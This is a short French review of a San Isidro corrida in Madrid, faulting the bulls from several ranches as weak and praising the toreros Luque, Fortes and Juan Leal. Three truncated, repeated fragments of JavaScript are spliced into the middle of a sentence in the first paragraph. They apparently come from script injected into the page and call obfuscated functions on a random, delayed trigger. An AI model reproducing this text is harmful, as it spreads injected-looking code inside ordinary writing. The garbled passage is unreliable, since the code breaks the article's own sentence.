UN DESASTRE DE TOROS

San Isidro. 10ème corrida. À Madrid, tous les toros sont bien présentés. Parfois, les toristes les sifflent quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and ils trouvent que leurs armures laissent à désirer. Mais s’ils bougent, s’ils ont du brio, les protestations disparaissent. Il n’en a pas été ainsi avec les quatre toros de Valdefresno, les deux de Fraile Mazas, celui d’Adelaida Rodríguez et le Carriquiri. Tous se sont montrés mansos, il manquait de la race indispensable pour pouvoir charger et ceux appartenant à l’élevage annoncé sur l’affiche furent des invalides. Un désastre sans palliatifs.

Devant une telle situation, les toreros Daniel Luque, Fortes et Juan Leal ont été vaillants et volontaires. Personnellement je regrette qu’un aussi bon torero que Daniel Luque ait été embarqué dans cette histoire avec cette seule corrida pour lui dans la feria. Une corrida qui fut un supplice.

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